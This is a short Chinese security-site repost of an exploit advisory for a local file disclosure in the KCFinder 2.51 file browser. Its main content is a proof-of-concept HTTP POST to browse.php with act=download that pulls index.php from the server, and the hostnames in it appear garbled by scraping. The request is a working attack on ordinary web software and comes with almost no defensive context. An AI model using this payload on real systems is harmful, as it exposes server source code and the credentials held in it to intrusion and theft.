KCFinder 2.51本地文件泄露 - 网站安全 - 自学php

# 标题: KCFinder Local File Disclosure # 作者: DaOne # 官网: http://kcfinder.sunhater测试数据/ # 影响版本: 2.51 + old versions ————————————————— [#] Tested on their own demo… -PoC- POST http:// HdhCmsTest2cto测试数据 /kcfinder/browse.php?type=images&lng=en&act=download HTTP/1.1 Host: server Accept: text/ html ,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 51 dir=images/Photos+from+Bulgaria&file=index.php

 

查看更多关于KCFinder 2.51本地文件泄露 - 网站安全 - 自学php的详细内容...